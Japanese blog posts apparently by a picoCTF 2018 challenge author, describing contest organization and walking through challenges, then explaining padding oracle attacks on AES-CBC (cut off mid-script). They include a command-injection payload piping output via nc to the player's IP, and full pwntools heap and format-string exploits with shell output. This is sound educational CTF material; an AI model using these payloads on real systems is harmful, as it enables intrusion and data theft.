picoCTF 2018を主催した話

2018/9/28 12PM から 2018/10/12 12PM (EST) の336時間、picoCTF 2018が開催された。自分も会社にいたときに大会を何度か開催した経験があったし力になりたいという思いと、毎年1万人を超える競技者が参加するpicoCTFの進め方を吸収したいという思いがあり、Developerとして参画した。このエントリでは、どういう風に準備や運営を進めていき、どんな学びがあり、どんなことを感じたか、について触れようと思う。

picoCTFとは

picoCTFは、Middle school, およびHigh Schoolの学生を主な対象としており、セキュリティの世界に足を突っ込むキッカケとなるような体験を与えることを目的とした、教育に主眼を置いたCTFである。このため、難易度についても初歩的なもの(それこそncコマンドを使ってみる、ssh接続してみるといったもの)から始まり、様々なジャンルについて幅広く理解を深めながら進めていくことができる内容になっている。pwn偏重ではない。
また、通常のCTFとは違い336時間という比較的長い期間を設定することで、勉強して技術を習得しながら得点を伸ばしていけるよう構成している。さらにこの期間後も次のpicoCTFまではずっと問題を公開しているので、いつでも勉強しながらプレイすることができる。

難しい問題ばかりを出題し得点を競う形式ではないため、例えばBinary Exploitの問題も一部を除き基本的にはソースコードを公開していたり、問題攻略の方向性を相談できるオンライン掲示板を用意して質問にはPPPメンバーが即座に回答するなど、運営基盤も整っていて、初心者でも入りやすいCTFだと思っている。
ちなみに今年は大会期間中に27,000人以上が参加し、過去最高の参加者数を記録した(すごい)。

主催はCMUのINIやCyLab, PPPなどの組織、チームが主体となり運営している。
f:id:f_rin:20181014150538p:plain
そういえば今見て思ったけど、この4つ全部に所属しているので参加するのは必然だったのかもしれない。

問題作成

上記のとおり、教育目的の幅広い出題を目指すため、まずセキュリティにおける分野(General Skills, Cryptography, Reverse engineering, Web exploit, Binary exploit, Forengicなど)や、学ぶために必要な技術的要素、攻撃に必要なテクニックなどをブレイクダウンしながら細分化してリスト化し、それを満たすように問題を作っていくようにした。PPPで集まって話を始めたのは夏に入る前のまだ寒い時期だったため、かなりの時間を準備にかけていたと思う。結果として、このリストをすべて網羅したわけではないが、かなり幅広い出題範囲になったと感じている。

「Education」という目標を定め、トップダウンで細分化し、問題に落とし込んでいくというアプローチが、一貫した(と自分では思っている)内容に繋がった。

レビュー

もう一つの特徴として、レビューにも重点を置いていたことが特徴的だった。お互いの問題を解くことで自分では気づかない問題点に気付いたり、客観的な得点設定を行ったり、ローカルとの環境の差異を発見したりと、これも重要なフェーズであった。例えば、picoCTFインフラ上だとgccの最適化によりバイナリが想定通りに動作せず64bitのASLRガチャを当てる問題に成り下がっていたり、配布されてるソースコードにflagがベタ書きしてあって問題にすらなっていなかったり、意外と多くの修正要素を潰すことができた(もちろん本番でも多く見つかったわけだが)。

また、レビューを実際のCTF形式にしてチーム内で競うようにしたこともモチベーションを保てたこともよかった。基本的に秋学期の授業/研究の合間にみんなプレイテスティングを行うため、ジャンルを絞ったり空き時間を確保したりしながらではあるが、楽しんでレビューを行うことができた。
写真はプレイテスティング上位者がもらえる特典picoCTF Tシャツ(1位だった)。
f:id:f_rin:20181014154318j:plain:w400

作問ポリシー

CTFを作問するときのポリシーがある。これはplaid CTFとかの作問でも同じだが、難しいほど良い問題であるわけではないというもの。簡単なものほど良い問題だという考え方である。「簡単」というのは誰でも解けるという意味ではなくて、新しい創意工夫に溢れたアイデアになっているが、それを達成するのに膨大な前提知識や特殊なスキルを求めないという意味である(とはいえクリエイティビティや新規性のあるものは難しくなりがちではあるけど)。

やってみて感じたこと

人脈が広がる

これはpicoCTFに限らずにPPPの特徴でもあるんだけど、仲が良い。壁がないし、初めて会った人でも「そのPCのステッカー面白いじゃん」とか「キミ、今年のSECCON本戦にいたっしょ(いやいません)」とか「そのキーボードヤバくね?(無刻印のHHKBを使っていた)」とか言われてそこから会話が弾んですぐに打ち解けられる。打ち解けた後も、なんというか、ネイティブばかりの中にポツンといるときの特有のつらさみたいなものがなく、一緒にいて居心地が良い。参加できて本当に良かったなと思える要素の一つだと感じている。

モチベーションを保てた

みんなで盛り上げようぜという空気があって、みんな感謝の気持ちもしっかり持ってて、否定的な意見が少なく改善点を話し合えたり、上述のレビュー形式によって頑張るぜという気になったりして、モチベーションを保ったままフェードアウトせずに続けることができた。

楽しい!

例えばレビューフェーズで見つけたバグなどは、積極的に修正にもかかわらせてもらった。GCCクソがwwwとかSlackで言い合いながらバイナリを構成していったりExploit codeをアップデートしていくのは楽しかったし、周りのレベルが高いので問題修正のスピード感も気持ちよかった。

インフラがすごい

CTFインフラが整っている。これはこれで一つの完成形になっていると思う。たとえばpwnだとシェルを取らせるため権限管理などにシビアになる必要があるが、これはすべてインフラが担保してくれる。また、配布ファイルやフォルダ構成なども設定ファイルで指定できるし、vagrantイメージが公開されているため、スコアサーバも含めてローカルに再現でき、開発者間の環境差異も最小限にとどめることができた。

仲間との関係

日本人は自分ひとりだったけど、言語の壁を超えて対等に接してもらえて、本当に嬉しいなぁと、ふと思った。技術は言葉を超越する。

モチベーションの高い仲間に囲まれながらこんな貴重な経験をできることは誇りだな、と感じた。次回何かを開催するときには、この空気感をどう作り上げていけるのだろう、というところを意識してみたい。

問題紹介

せっかくなので、作ったものや自分がかかわったものなどを少し紹介しようと思う。(関わったの全部、とかレビューしたもの、となるとめちゃくちゃ書かなきゃいけないので割愛もする)

fancy-alive-monitoring

pingで好きなサーバに対して疎通確認ができるWebアプリケーションだが、OSコマンドインジェクションの脆弱性がある。攻略には2段階の工夫が必要である。

  1. Client sideチェックのバイパス
    このアプリでは入力値に対してクライアントサイドでのチェックとサーバサイドでのチェックを行っている。クライアントサイドのチェックはJSで行われているため、どうとでも回避することができる。さらに、サーバサイドのチェックにバグがあり、IPアドレスの後ろに好きな入力を許可してしまっている。ここでOSコマンドインジェクションを発動させることができる。
  2. Blind OS command Injection
    このアプリケーションはコマンド結果をそのまま出力する機構がない。ただ、validationチェック回避後に、例えば "127.0.0.1;sleep 5" のような入力を行うと、5秒間のスリープが入っていることがわかる。厳密にそんな言葉はないが、Blind OSコマンドインジェクションと言える。

アウトプットの手段はページ上にはないため、ncや/dev/tcp/などを使ってコマンド結果を待ち受けサーバに飛ばすなりコネクトバックシェルを張るなりすればFlagが手に入る。

127.0.0.1;ls|nc 自分のIP port

これだとpublicサーバを持っていない参加者に不利じゃないか?と思うかもしれないが、実はpicoCTFのシェルサーバ自体をリスナとして使うこともできるため、この点は大丈夫だと思う。

この問題は、近年増えている「インターネット通信は行うがディスプレイなどのアウトプットデバイスがない」ようなアプリ(例えばIoT機器とか)などの背景からインスパイアされて作成した問題である。コマンド結果がわからないから安心だぜ、ということはなく、そんな環境下でも脆弱性があると攻撃されてしまうんだぜ、というメッセージを込めた問題にした。

本番稼動中に問題点が2つあって、一つは「URL/flag.txt」とアクセスするとflagが表示されてしまうというアホみたいなショートカットがあったのですぐに潰した。最悪である。picoCTFインフラの権限設定方法の理解のミスが生んだ問題だった。2つ目は、本番環境がfork serverではなく(!!)リターンしないOSコマンドを発行されるとそのインスタンスからHTTPレスポンスが返らなくなるという香ばしいバグ。仕方がないので、長く息してるプロセスを定期的にkillする即席スクリプトを裏で回した。

echo back

echoooというFSBによってFlagをリークさせる問題があるため、じゃあ書き換えもやろうよということでecho-back. System関数に戻ることが自明だが、どうやって呼ぶのか、のところで少し頭を捻る。

解法はret2vulnを使い、もう一度関数に戻ってくる発想ができれば、入力文字制限も緩いためそれほど難しくはない。printfのバグの後にputs関数が呼ばれているため、vuln functionにリターンするようにputs.gotを書き換える。その後、printf.gotをsystem.pltに書き換えれば次の入力でsystem("入力値")が発動する。この上書き作業は2度に分けずに一度にやってしまっても良い。GOT overwriteできるところはpltだけではないよ、という意味をこめた。知っていると自明だけど、以前自分が勉強していたとき、これに気づいて「なるほど!」と思った経験を覚えているので題材にした。

#!/usr/bin/python
from pwn import *
from libformatstr import FormatStr
host, port = "localhost", 31337

context(arch='i386', os='linux')
filename = "./echoback"

elf = ELF(filename)

## overwrite the following addresses:
##     printf.got -> system.plt
##     puts.got   -> vuln
fsb_offset = 7
p = FormatStr()
p[elf.got['printf']] = elf.plt['system']
p[elf.got['puts']] = elf.symbols['vuln']

conn = remote(host, port)
conn.recvline()
conn.sendline(p.payload(fsb_offset))
conn.interactive()

Contacts

ソースコードは公開しないと思ってたが、さっき本番サイトを見たら公開されていた。この問題ではcontactという構造体を自由に作成/削除でき、構造体と一緒にnameとbioをheap上で管理できる。
古いデータがヒープ上に残ったままクリアされないため、double freeのバグを持っている。よって、重複したfastbinを持つfreed chunkのリンクリストを作ることができれば、狙ったメモリ上に新たなbioを確保して上書きできる。bioの入力サイズチェックが255バイト以下なので、0x70のサイズのチャンクを使って__malloc_hookを上書きできてしまい、あまり捻りがないなーと思ったがpicoCTF上はこのままにした(これはこれで有用なテクニックでもあるので)。ここではもう少しサイズチェックがキツイ場合(0x60以下など)の場合でも通用する方法を紹介する。

fastbinのunlinkについて考えてみると、fastbinは他の種類のbinに比べてunlink時のチェックが軽い。freeされるchunkはサイズごとにリンクリストで管理されているが、fastbinの場合、chunk->fd->size があっているかどうかのチェックさえ通過できれば良い。さらに、このときの比較は、64bitマシンであっても4 bytesでの比較となる。つまり、0x20のサイズ比較は、 0x0000000000000020 で行われるわけではなく、4バイト分の 0x00000020 で行われる。今回はこの特性を利用してみる。GOTを見てみるといくつかはlibcのアドレスを指しているが、アドレス解決の仕組みの特性上、いくつかはpltを指しているものがある。さらにpltのアドレスは0x40XXXXである。つまり、0x40のチャンクサイズを使えばfastbin dupでGOT Overwriteができる。

当たり前だが__stack_chk_fail@gotやexit@gotは使われていないためpltを指している。つまり0x00000040が生きている。さらに__stack_chk_fail@gotはだいたいGOTの前のほうに存在するため、後方に書き換えられる関数が意外とある(個人的には大きめのサイズが確保できないときでも意外と使える手法だと思っている)。今回はここに着弾しstrdupをsystem関数に書き換えてみる。途中に存在する_IO_putc@gotを変なものに書き換えてしまうとRCEに到達するよりも前にSEGVが発生するため注意。

あとはdouble freeができるようアドレスを調整すればExploitが完成する。

#!/usr/bin/python
from pwn import *
context.arch = 'amd64'
p, u = pack, unpack
host, port = "localhost", 31337

def create_entry(name):
	conn.sendline("create " + name)
	conn.recvuntil("> ")

def add_bio(name, num, bio):
	conn.sendline("bio " + name)
	conn.sendlineafter("\n", str(num) + bio)
	conn.recvuntil("> ")

def del_entry(name):
	conn.sendline("delete " + name)
	conn.recvuntil("> ")

def leak_addr(target):
	conn.sendline("display")
	conn.recvuntil(target + " - ")
	leaked = u(conn.recv(8))
	conn.recvuntil("> ")
	return leaked

def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val))

e = ELF("./contacts")
lib = ELF("./libc.so.6")
libc_offset = 0x3c4b78
got_insert_into = e.got['__stack_chk_fail'] - 0x6       # The address -0x8 of the target size 0x00000040

if(len(sys.argv) == 2 and sys.argv[1] == 'r'):
	conn = remote(host, port)
else:
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
	conn = process("./contacts", env=env)

conn.recvuntil("> ")
log.success("prepare entries")
create_entry("reserved1")
create_entry("reserved2")
create_entry("adjust_addr")
create_entry("a")
add_bio("a", 255, "AAAAAAAA")
create_entry("b")
add_bio("b", 0x37, "BBBBBBBB")
del_entry("a")
create_entry("a")

log.success("leak libc information")
leaked_libc = leak_addr('a') & 0xffffffffffff

libc_base = leaked_libc - libc_offset
libc_system = libc_base + lib.symbols['system']
libc_IO_putc = libc_base + lib.symbols['_IO_putc']

dbg("leaked_libc")
dbg("libc_base")
dbg("libc_system")
dbg("libc_IO_putc")

log.success("leak heap information")
create_entry("c")
leaked_heap = leak_addr('a')
mask = 0xfffffff if leaked_heap & 0xfffffff < 0x3000000 else 0xffffff
leaked_heap &= mask
heap_base = leaked_heap - 0x1140
free_addr = heap_base + 0x1180

dbg("leaked_heap")
dbg("heap_base")
log.info("scheduling to free: 0x%x" % free_addr)

log.success("append data into scheduled area for fastbin dup")
create_entry("D"*0x37)

log.success("prepare for second arbitrary free")
create_entry("A")
create_entry("B")
create_entry("C")
create_entry("D")
add_bio("C", 255, "CCCCCCCC")
add_bio("D", 0x37, "DDDDDDDD")
del_entry("C")
create_entry("C")
create_entry("E")

log.success("put scheduled free area onto heap")
add_bio("a", 20, " " + p(next(e.search('display\x00'))) + p(free_addr & mask))	# "bio display" to free the area
add_bio("C", 20, " " + p(next(e.search('create\x00'))) + p(free_addr & mask))	# "bio create" to free the area

log.success("create duplicated fastbins list")
add_bio("display", -1, "")
del_entry("b")
add_bio("create", -1, "")

log.info("now fastbins list (size: 0x40) is:\n0x%x -> 0x%x -> 0x%x" % (free_addr-0x10, heap_base+0x1240, free_addr-0x10))

log.success("fastbin dup into GOT")
add_bio("reserved1", 0x37, " " + p(got_insert_into))
create_entry("A"*0x37)
create_entry("B"*0x37)

payload = "A"*6
payload += p(libc_IO_putc)	# not to break libc_IO_putc
payload += p(libc_system)
add_bio("reserved2", 0x37, " " + payload)

log.success("invoke system(\"sh\")")
conn.sendline("create sh")
conn.interactive()

これを走らせることでFlagが手に入る。

$ python contacts.py r
[*] '/home/user/contacts'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
    FORTIFY:  Enabled
[*] '/home/user/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 31337: Done
[+] prepare entries
[+] leak libc information
    -> leaked_libc: 0x7ff6c8845b78
    -> libc_base: 0x7ff6c8481000
    -> libc_system: 0x7ff6c84c6390
    -> libc_IO_putc: 0x7ff6c84f7450
[+] leak heap information
    -> leaked_heap: 0x1318140
    -> heap_base: 0x1317000
[*] scheduling to free: 0x1318180
[+] append data into scheduled area for fastbin dup
[+] prepare for second arbitrary free
[+] put scheduled free area onto heap
[+] create duplicated fastbins list
[*] now fastbins list (size: 0x40) is:
    0x1318170 -> 0x1318240 -> 0x1318170
[+] fastbin dup into GOT
[+] invoke system("sh")
[*] Switching to interactive mode
$ ls
contacts
flag.txt
libc.so.6
xinet_startup.sh
$

Cake

ちょっとcontactsとネタがかぶってるし「しまった」と思ったけど、これも紹介する。たぶん1,000点のマスターチャレンジより難しいんじゃないかと思う。これもfastbinのdouble freeからExploitに繋げる問題だが、今回確保できるチャンクは0x20のみであるため、難易度はこちらのほうが高い。ここで使っている構造体は以下のとおり。

struct shop {
	uint64_t sales;
	uint64_t customers;
	cake *cakes[16];
};

struct cake {
	uint64_t price;
	char name[8];
};


結論から言うと、cakes[1]のアドレス部分に、cakes[0]のアドレスを指す新たなcakeをmallocすることができれば、nameを入力したときにpriceに該当するアドレス(つまりcakeオブジェクトのポインタ)を好きな値に上書きでき、その後のpriceの入力で任意メモリをOverwriteできる。fastbindup into bssを駆使しながらlibcとheapのアドレスをリークし、最終的にshop.cakes[1]にcakeを確保することを目指す。

shop構造体の中のcustomersは自由に操作して0x20を作成できるため、ここをfastbin dupの拠点にする。fastbin dupを行いながら、次のcakeを作ってもSEGVが起こらないように、fake chunkが途切れないよう登録していく。その過程でlibc leakとGOT overwriteによるone gadgetの登録を行う。

最後のcakeのメモリ確保直後のメモリマップはこんな感じ。shop structureの0x6030f8にcakeが確保され、その時に確保されているcakeのアドレスは0x6030f0である。この状態では、cake->name, cake->price(というかcakes[1]構造体のアドレス)とがoverwrapしている。

gdb-peda$ x/16gx 0x6030e0
0x6030e0 <shop>:	0x0000000000605020	0x0000000000000020
0x6030f0 <shop+16>:	0x0000000000605040	0x00000000006030f0 ←コレがcakeのallocation先。確保したcakeのnameでもありcake[1]のアドレスでもある。
0x603100 <shop+32>:	0x0000000000605020	0x0000000000605040
0x603110 <shop+48>:	0x0000000000605020	0x00000000006030f0

ここで、nameの入力でまずcakes[1]のポインタ(つまり自分自身の構造体のポインタ)の向き先をGOTに変え、priceの入力で任意のアドレスに変更する。
ここに掲載している例ではprintfのGOTをone gadgetに書き換えている。

あとはprintfが呼ばれるところまでinstructionを進めれば新規にケーキを作ろうとしたときに自動的にshellが起動する。

  • shop構造体が管理するメモリのアドレス
  • mallocで返ってくるcake構造体のアドレス

の2つを分けて考えてアドレス調整をしないとややこしいかもしれない。

#!/usr/bin/python
from pwn import *
context.arch = 'amd64'
p, u = pack, unpack
host, port = "localhost", 31337

def make(name, price, shell=False):
	conn.sendline("M")
	conn.sendlineafter("> ", name)
	conn.sendlineafter("> ", str(price))
	if shell:
		conn.interactive()
		return
	conn.recvuntil("> ")

def serve(index):
	conn.sendline("S")
	conn.sendlineafter("> ", str(index))
	conn.recvuntil("> ")

def inspect(index):
	conn.sendline("I")
	conn.sendlineafter("> ", str(index))
	name = conn.recvuntil(" is", drop=True)
	conn.recvuntil("$")
	price = int(conn.recvuntil("\n", drop=True))
	conn.recvuntil("> ")
	return name, price

def create_0x20():
	log.success("create chunk size 0x20 for fastbin dup into bss")
	while True:
		conn.sendline("W")
		conn.recvuntil("and have ")
		customers = int(conn.recvuntil(" ", drop=True))
		conn.recvuntil("> ")
		if customers >= 0x20:
			log.info("Now customers: 0x%x" % customers)
			break

def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val))

e = ELF("./cake")
libc_offset = 0x71290
shop_addr = 0x6030e0	# The address used to fastbin dup with 0x20
free_got = e.got['free']
printf_got = e.got['printf']
one_gadget_rax0 = 0x45216

if(len(sys.argv) == 2 and sys.argv[1] == 'r'):
	conn = remote(host, port)
else:
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
	conn = process("./cake", env=env)

conn.recvuntil("> ")
log.success("double free")
make("A", 0)
make("B", 0)
serve(0)
serve(1)
serve(0)

log.success("leak heap address")
n, leaked_heap = inspect(0)
dbg("leaked_heap")

make("C", shop_addr)	# set the heap chunk
make("D", 0)
make("C", 0)
create_0x20()
make(p(free_got), leaked_heap)	# fastbin dup into bss

log.success("leak libc address")
leaked_libc, pr = inspect(1)
leaked_libc = u(leaked_libc.ljust(8, '\x00'))
libc_base = leaked_libc - libc_offset
one_gadget = libc_base + one_gadget_rax0

dbg("leaked_libc")
dbg("libc_base")
dbg("one_gadget")

log.success("double free")
serve(2)
serve(3)
serve(2)
make("E", shop_addr)	# set the heap chunk
make("F", shop_addr)	# for the last allocation
make("E", 0)
create_0x20()

make(p(0), 0)	# fastbin dup into bss, the second next allocation (shop.cakes[1]) will be: cake->name == cake structure addr
make("deadbeef", 0)	# adjustment (cakes[0])

log.success("name (== cake structure) -> printf.got, price -> one gadget")
make(p(printf_got), one_gadget, shell=True)	# overwrite got

実行するとShellが起動。

$ python cake.py r
[*] '/home/user/cake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
[+] Opening connection to localhost on port 31337: Done
[+] double free
[+] leak heap address
    -> leaked_heap: 0x1b84030
[+] create chunk size 0x20 for fastbin dup into bss
[*] Now customers: 0x20
[+] leak libc address
    -> leaked_libc: 0x7f9c8393f290
    -> libc_base: 0x7f9c838ce000
    -> one_gadget: 0x7f9c83913216
[+] double free
[+] create chunk size 0x20 for fastbin dup into bss
[*] Now customers: 0x20
[+] name (== cake structure) -> printf.got, price -> one gadget
[*] Switching to interactive mode
$ ls
cake
flag.txt
libc.so.6
xinet_startup.sh
$

おわりに

今までの経験の比にならない規模のコンテストを主催する経験ができた。質問掲示板にはひっきりなしに質問が届くし、見つけた問題点を見つけては修正方法を考えて適用して、というサイクルもなかなか大変ではあったけど、チームメンバーと相談したりしながら運営を進めていくことはとても楽しく、CMUの試験や課題に追われながらも充実した期間を過ごすことができた。

あと、自分の会社のグループの技術者SlackにCoding Challenge部屋があるんだけど、そこが2週間限定でpicoCTFチャレンジになってて、多くの人が真剣に取り組んでくれていたことがとても嬉しかった。

もし今年picoCTFに参加して、問題を解いて、少しでも学びがあったと感じてくれた人がいたならば、自分にとってこれほど嬉しいことはない。関わってきて良かったなと思える。
これから上がってくるであろうWrite upにも期待しつつ、またこれ以外にも関わっている問題も多くあるため、しばらくはインターネットを巡回しながら回想に浸ろうと思う。

Padding Oracle AttackによるCBC modeの暗号文解読と改ざん

現在、ブロック暗号ではAESが広く使われている。ブロック暗号は、平文を固定長のブロックに分割して暗号化する暗号方式で、数種類存在する暗号利用モードを指定して暗号化を行う。この中にはCBCというモードが存在するが、サービスの実装によってはこのCBCモードに対してパディングオラクル攻撃を適用することができる。

パディングオラクル攻撃を用いると、鍵を持っていないにも関わらず暗号文を解読できてしまうとよく言われるが、実は同じ仕組みを用いることで暗号文の改ざんも行うことができる。本エントリでは、PKCS #7パディングを実装しているAES CBCに対して、パディングオラクル攻撃を使った暗号文の解読と、それを応用した暗号文の改ざんをやってみる。

暗号利用モード

暗号における利用モードでは、ECB, CBC, OFB, CFBの4種類が良く知られている。例えば、最も単純なECBモードの暗号では、すべてのブロックに対して鍵による暗号化を行う(図1)。図を見るとわかるが、すべてのブロックは互いに独立しているため、同じ平文ブロックが存在すると対応する暗号ブロックも同じ暗号文となってしまうという欠点がある。つまり、m_1m_3が同じ値の場合、c_1c_3も同じ値になってしまう。

f:id:f_rin:20171008231119p:plain

図1. ECBモードによる暗号化

対して、CBCモードでは前のブロックと現在のブロックをXORすることにより、ブロックの暗号文が一つ前の暗号ブロックに依存するようになっている(図2)。つまり、ECBモードの欠点である「同じ平文ブロックが同じ暗号文となる」点を解消している。なお、m_1の前の暗号ブロックは存在しないため、c_0としてIV (Initialization Vector)と呼ばれる同サイズのバイト列を使いm_1とXOR演算を行う。IVは秘匿情報とせず暗号文と一緒に送ってしまって問題ない。

f:id:f_rin:20171008231256p:plain

図2. CBCモードによる暗号化

PKCS #7 パディング

ブロック暗号では、すべてのブロック長が固定されているため、最後のブロックが固定長に満たない場合にはパディングをして長さを合わせる必要がある。ここでは、RFC2315 にて提案されているPKCS #7パディングを適用する。この方式は、1バイトのパディングが必要な場合は"01", 2バイトのパディングが必要な場合は"0202"というように、必要なパディング数iに応じて chr(i) * i のパディングを施す。
なお、パディングが0バイトで良い場合(つまりAESの最後のブロックが16バイトちょうどの場合)は、16バイト分のパディング "10" * 0x10 を行う(表1)。これにより、平文には必ずパディング文字が含まれる仕様となるため、復号時に「本来のデータかパディング文字かわからない」という問題を避けることができる。

表1. PKCS #7 によるAESブロックへのパディング

padding文字数 padding
1 01
2 0202
3 030303
: :
15 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
0 (16) 10101010101010101010101010101010

今回は、このPKCS #7パディングを使ったAESのCBCモードに対して攻撃を行ってみる。

Padding Oracle Attack

本題のPadding Oracle Attackについて話す。Padding Oracle Attackとは、暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す場合、攻撃者がこの復号成否情報を用いて平文の特定や暗号文の改ざんができてしまう攻撃である。
なお、ここでいう "Oracle" とは某RDBではなく、攻撃者の手がかりとなるような情報を与えてしまうブラックボックスなサービスのことを指す。

ということで、Padding Oracleのある認証アプリケーションを書いてみる。ここでは、クライアントからの暗号文をAES CBCで復号化し、Base64デコードしたユーザIDがadminなら認証が成功するというものにする。もちろんクライアントは暗号/復号鍵を知ることはできないし平文の内容も知らない。知ることができるのはサーバから送られてくるサンプル暗号文であるc_0c_4(c_0はIV)のみという前提を置く。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from Crypto.Cipher import AES

block_size = 16
user_message = 'Authentication service. The ID is: guest'.encode('base64')
key = ("0A" * block_size).decode('hex')

def padding(s):
	i = block_size - len(s) % block_size
	pad = chr(i) * i
	return s + pad

def unpadding(s):
	return s[0:-ord(s[-1])]

def isvalidpadding(s):
	i = ord(s[-1])
	return 0 < i and i <= block_size and s[-1]*i == s[-i:]

def encrypt(p):
	IV = "IV for CBC mode."
	return IV.encode('hex') + AES.new(key, AES.MODE_CBC, IV).encrypt(padding(p)).encode('hex')

def decrypt(c):
	IV = c[0:block_size*2].decode('hex')
	return AES.new(key, AES.MODE_CBC, IV).decrypt(c[block_size*2:].decode('hex'))

def main():
 	print "Your user id:", encrypt(user_message)
	sys.stdout.flush()

	print "input your code: ",
	sys.stdout.flush()
	decoded_input = decrypt(raw_input())

	if isvalidpadding(decoded_input):
		plain = unpadding(decoded_input).decode('base64')
		user_id = plain.split("Authentication service. The ID is: ")[1]
		if user_id == "admin":
			print "You are an authenticated user.\nHere is secret information: Padding Oracle Attack"
		else:
			print "You are not admin. Bye."
	else:
		print "[-] incorrect pkcs7 padding."

if __name__ == "__main__":
	main()

socatにて簡易サーバを作成。

[user@ubuntu] $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"python server.py",stderr

別ターミナルから、試しにncコマンドで繋いでみる。

[user@ubuntu] $ nc localhost 1234
user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
 You are not admin. Bye.
[user@ubuntu] $ 

与えられたサンプル暗号文を入力するとサーバサイドで復号が走るが、adminではないため認証に弾かれている。試しに末尾1バイトを"0x03"から"0x00"変えてみると、

[user@ubuntu] $ nc localhost 1234
user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12300
 [-] incorrect pkcs7 padding.
[user@ubuntu] $ 

"incorrect pkcs7 padding."とエラーが返ってくる。つまり、Decrypt後のパディングチェックにてコケていることがエラーメッセージから判別できる。

逆に、最初のブロックを1バイト変えてみるとパディングチェックは成功するはずなので、そのパターンも試してみる。

[user@ubuntu] $ nc localhost 1234
Your user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
input your code: 005620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
 Traceback (most recent call last):
  File "server.py", line 45, in <module>
    main()
  File "server.py", line 35, in main
    plain = unpadding(decoded_input).decode('base64')
  File "/usr/lib/python2.7/encodings/base64_codec.py", line 42, in base64_decode
    output = base64.decodestring(input)
  File "/usr/lib/python2.7/base64.py", line 321, in decodestring
    return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
[user@ubuntu] $

末尾のブロックは綺麗に復号化されているためパディングチェックは通過したようだが、その後の処理でErrorが発生している。メッセージ内容からして、Base64デコード処理でしくっているように見える。

このように、認証成否情報に加えパディングチェック成否の手がかりを確認することができた。以上より、このアプリケーションにはパディングオラクルがあると言える。

このアプリケーションへの攻撃シナリオは、このパディングオラクルを用い、

  1. Decryption Attackにて暗号文を解読する
  2. Encryption Attackで解読した暗号文を改ざんしてアプリケーションの認証をバイパスする

の2本を想定する。

Decryption Attack

これはいろんなところで紹介もされているし有名だと思う。まずCBCのDecryptionアルゴリズムを見てみる(Encryption の矢印を逆にしただけ)。この図で言うm_3の最後にはPKCS #7パディング文字列が存在しなければならない

f:id:f_rin:20171008232441p:plain

図3. CBCモードによる復号化

上図より、このときのm_3を求めるときの式は

m_3 = Dec(c_3) \oplus c_2 \cdots ①

と定義できる。Dec(c_3)というのは復号化関数を通ったあとの値。つまり図3右側の赤い領域を示す。
クライアントからサーバへは暗号文であるcを送ることになるが、このときにc_2の値を変えてみながら、正しいパディングとなる入力パターンを確かめることはできないだろうか。

ここで、正しいパディングとなるようc_2を改ざんした値c_2'を考える。c_2'を用いるとm_3ももちろん変わるため、この時の式は、

m_3' = Dec(c_3) \oplus c_2'
\Leftrightarrow Dec(c_3) = m_3' \oplus c_2'

と表せる。これを①の式に代入すると、

m_3 = m_3' \oplus c_2' \oplus c_2

となる。Dec(c_3)、つまりc_3復号直後の値(赤い領域の値)がわからなくてもm_3を求めることができそうだ。

次に、肝心なc_2'の求め方を考える。
まず、c_2の最終バイトを1バイトずつ変えながらPadding Oracleに対して送信する。どこかのタイミングで、m_3'の最終バイトが"01"となりパディング成功を示すメッセージを得られるはずだ(おそらく復号後のサーバ処理でのエラーメッセージだろう)。このときの値がc_2'の最終バイトである。

f:id:f_rin:20171009143001p:plain:w480
図4. Padding Attackによる1バイト目の特定

なお、上図よりm_3'の最終バイト \oplus c_2'の最終バイトはDec(c_3)の最終バイトを表すことがわかる。
では次にc_2'の最後から2バイト目を求める。このときのm_3'最終バイトは"0202"となる必要があるので、先ほど送信した最終バイトも"01"から"02"になるように調整する。具体的にはc_2'の最終バイトと01 \oplus 02でXORしてやれば良い。

f:id:f_rin:20171009143031p:plain:w480
図5. Padding Attackによる2バイト目の特定

3byte目も同様に調整。こうしてバイトごとにc_2'm_3'を特定していくことができる。

f:id:f_rin:20171009143049p:plain:w480
図6. Padding Attackによる3バイト目の特定

これを16バイト目まで繰り返すと、c_2'm_3'が判明する。これが求まれば、m_3 = m_3' \oplus c_2' \oplus c_2の式により最後の平文ブロックを復元することができる。m_3がわかれば次はc_2c_1を使って前のブロックを復元していけば、最終的にm_1までの文字列を復元することができる(今回はc_0が存在するのでm_1まで計算が可能である)。

実際にスクリプトを書いてみる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
from tqdm import tqdm

host, port = "localhost", 1234
block_size = 16

def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
